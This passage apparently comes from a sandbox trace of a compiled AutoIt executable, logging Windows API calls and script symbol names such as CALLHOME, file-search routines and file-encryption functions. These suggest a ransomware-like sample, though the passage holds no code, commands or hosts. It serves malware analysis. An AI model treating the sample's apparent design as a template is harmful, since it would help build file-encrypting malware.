lpsz="_WINAPI_NETGETJOININFORMATION", cchLength=0x1d | out: lpsz="_WINAPI_NETGETJOININFORMATION") returned 0x1d [0037.409] CharUpperBuffW (in: lpsz="_WINAPI_NETGETJOININFORMATION", cchLength=0x1d | out: lpsz="_WINAPI_NETGETJOININFORMATION") returned 0x1d [0037.409] CharUpperBuffW (in: lpsz="_BUFFERSIZE", cchLength=0xb | out: lpsz="_BUFFERSIZE") returned 0xb [0037.409] CharUpperBuffW (in: lpsz="_BUFFERSIZE", cchLength=0xb | out: lpsz="_BUFFERSIZE") returned 0xb [0037.409] CharUpperBuffW (in: lpsz="CALLHOME", cchLength=0x8 | out: lpsz="CALLHOME") returned 0x8 [0037.409] CharUpperBuffW (in: lpsz="CALLHOME", cchLength=0x8 | out: lpsz="CALLHOME") returned 0x8 [0037.409] CharUpperBuffW (in: lpsz="MYERRFUNC", cchLength=0x9 | out: lpsz="MYERRFUNC") returned 0x9 [0037.409] CharUpperBuffW (in: lpsz="MYERRFUNC", cchLength=0x9 | out: lpsz="MYERRFUNC") returned 0x9 [0037.409] AllocateAndInitializeSid (in: pIdentifierAuthority=0xb6216fe28, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0xb6216fe30 | out: pSid=0xb6216fe30) returned 1 [0037.410] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0xb6244a8c0, IsMember=0xb6216fe20 | out: IsMember=0xb6216fe20) returned 1 [0037.410] GetSysColorBrush (nIndex=15) returned 0x1100074 [0037.410] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0037.410] LoadIconW (hInstance=0x7ff756b50000, lpIconName=0x63) returned 0x5020f [0037.411] LoadIconW (hInstance=0x7ff756b50000, lpIconName=0xa4) returned 0x13020b [0037.411] LoadIconW (hInstance=0x7ff756b50000, lpIconName=0xa2) returned 0x50207 [0037.411] LoadImageW (hInst=0x7ff756b50000, name=0x63, type=0x1, cx=16, cy=16, fuLoad=0x0) returned 0x901c7 [0037.411] RegisterClassExW (param_1=0xb6216fdc0) returned 0xc140 [0037.411] GetSysColorBrush (nIndex=15) returned 0x1100074 [0037.411] RegisterClassExW (param_1=0xb6216fd30) returned 0xc145 [0037.411] RegisterClipboardFormatW (lpszFormat="TaskbarCreated") returned 0xc0e7 [0037.411] InitCommonControlsEx (picce=0xb6216fd98) returned 1 [0037.412] ImageList_Create (cx=16, cy=16, flags=0x21, cInitial=1, cGrow=1) returned 0xb62311900 [0037.413] LoadIconW (hInstance=0x7ff756b50000, lpIconName=0xa9) returned 0x290183 [0037.413] ImageList_ReplaceIcon (himl=0xb62311900, i=-1, hicon=0x290183) returned 0 [0037.413] CreateWindowExW (dwExStyle=0x0, lpClassName="AutoIt v3", lpWindowName="AutoIt v3", dwStyle=0xcf0000, X=-2147483648, Y=-2147483648, nWidth=300, nHeight=100, hWndParent=0x0, hMenu=0x0, hInstance=0x7ff756b50000, lpParam=0x0) returned 0x6002c [0037.414] NtdllDefWindowProc_W (hWnd=0x6002c, Msg=0x24, wParam=0x0, lParam=0xb6216f810) returned 0x0 [0037.414] NtdllDefWindowProc_W (hWnd=0x6002c, Msg=0x81, wParam=0x0, lParam=0xb6216f7c0) returned 0x1 [0037.416] NtdllDefWindowProc_W (hWnd=0x6002c, Msg=0x83, wParam=0x0, lParam=0xb6216f830) returned 0x0 [0037.419] SetTimer (hWnd=0x6002c, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0037.419] RegisterClipboardFormatW (lpszFormat="TaskbarCreated") returned 0xc0e7 [0037.419] CreatePopupMenu () returned 0x140085 [0037.419] CreateWindowExW (dwExStyle=0x0, lpClassName="edit", lpWindowName=0x0, dwStyle=0x50b008c4, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x6002c, hMenu=0x1, hInstance=0x7ff756b50000, lpParam=0x0) returned 0x8004e [0037.426] NtdllDefWindowProc_W (hWnd=0x6002c, Msg=0x210, wParam=0x10001, lParam=0x8004e) returned 0x0 [0037.426] ShowWindow (hWnd=0x6002c, nCmdShow=0) returned 0 [0037.426] ShowWindow (hWnd=0x6002c, nCmdShow=0) returned 0 [0037.427] Shell_NotifyIconW (dwMessage=0x0, lpData=0xb6216fa40) returned 1 [0037.434] Shell_NotifyIconW (dwMessage=0x1, lpData=0xb6216f640) returned 1 [0037.434] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 1 [0037.434] TranslateMessage (lpMsg=0xb6216fc40) returned 0 [0037.434] DispatchMessageW (lpMsg=0xb6216fc40) returned 0x0 [0037.434] NtdllDefWindowProc_W (hWnd=0x6002c, Msg=0x31f, wParam=0x1, lParam=0x0) returned 0x0 [0037.434] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.434] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.434] CharUpperBuffW (in: lpsz="_FO_FILESEARCH", cchLength=0xe | out: lpsz="_FO_FILESEARCH") returned 0xe [0037.434] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.434] CharUpperBuffW (in: lpsz="_FO_FOLDERSEARCH", cchLength=0x10 | out: lpsz="_FO_FOLDERSEARCH") returned 0x10 [0037.435] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.435] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCHMASK", cchLength=0x15 | out: lpsz="__FO_FOLDERSEARCHMASK") returned 0x15 [0037.435] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.435] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCH", cchLength=0x11 | out: lpsz="__FO_FOLDERSEARCH") returned 0x11 [0037.435] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.435] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0037.435] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.435] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0037.435] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.435] CharUpperBuffW (in: lpsz="__FO_GETLISTMASK", cchLength=0x10 | out: lpsz="__FO_GETLISTMASK") returned 0x10 [0037.435] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.435] CharUpperBuffW (in: lpsz="__FO_FILESEARCHTYPE", cchLength=0x13 | out: lpsz="__FO_FILESEARCHTYPE") returned 0x13 [0037.435] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.435] CharUpperBuffW (in: lpsz="__FO_FILESEARCHMASK", cchLength=0x13 | out: lpsz="__FO_FILESEARCHMASK") returned 0x13 [0037.435] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.435] CharUpperBuffW (in: lpsz="__FO_USERLOCALE", cchLength=0xf | out: lpsz="__FO_USERLOCALE") returned 0xf [0037.436] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.436] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.436] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.436] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.436] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.437] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.437] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.437] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.437] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.437] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.438] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.438] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.438] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.438] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.438] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.438] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.438] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.438] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.439] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.439] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.439] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.439] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.439] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.439] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.439] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.439] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.439] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.439] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.440] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.440] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.440] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.440] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.440] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.440] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.440] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.440] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.441] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0037.441] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.441] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0037.441] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.441] CharUpperBuffW (in: lpsz="_SENDMESSAGE", cchLength=0xc | out: lpsz="_SENDMESSAGE") returned 0xc [0037.441] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.441] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0037.441] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.441] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.441] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.441] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.441] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.442] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.442] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.442] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.442] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.442] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.442] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.443] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.443] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.443] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.443] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.443] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.443] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.444] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.444] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.444] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.444] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.444] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.444] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.444] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.444] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.444] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.444] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0037.445] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.445] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0037.445] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.445] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0037.445] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.445] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTFILE") returned 0x12 [0037.445] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.445] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTDATA") returned 0x12 [0037.445] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.445] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0037.445] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.445] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0037.445] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.445] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0037.445] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.445] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0037.445] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.445] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0037.445] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.445] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0037.445] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.446] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0037.446] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.446] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0037.446] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.446] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0037.446] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.446] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0037.446] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.446] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0037.446] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0037.446] CharUpperBuffW (in: lpsz="_SINGLETON", cchLength=0xa | out: lpsz="_SINGLETON") returned 0xa [0037.446] PeekMessageW (in: lpMsg=0xb6216f630, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f630) returned 0 [0037.446] PeekMessageW (in: lpMsg=0xb6216f630, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f630) returned 0 [0037.446] PeekMessageW (in: lpMsg=0xb6216f630, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f630) returned 0 [0037.446] PeekMessageW (in: lpMsg=0xb6216f630, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f630) returned 0 [0037.446] PeekMessageW (in: lpMsg=0xb6216f630, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 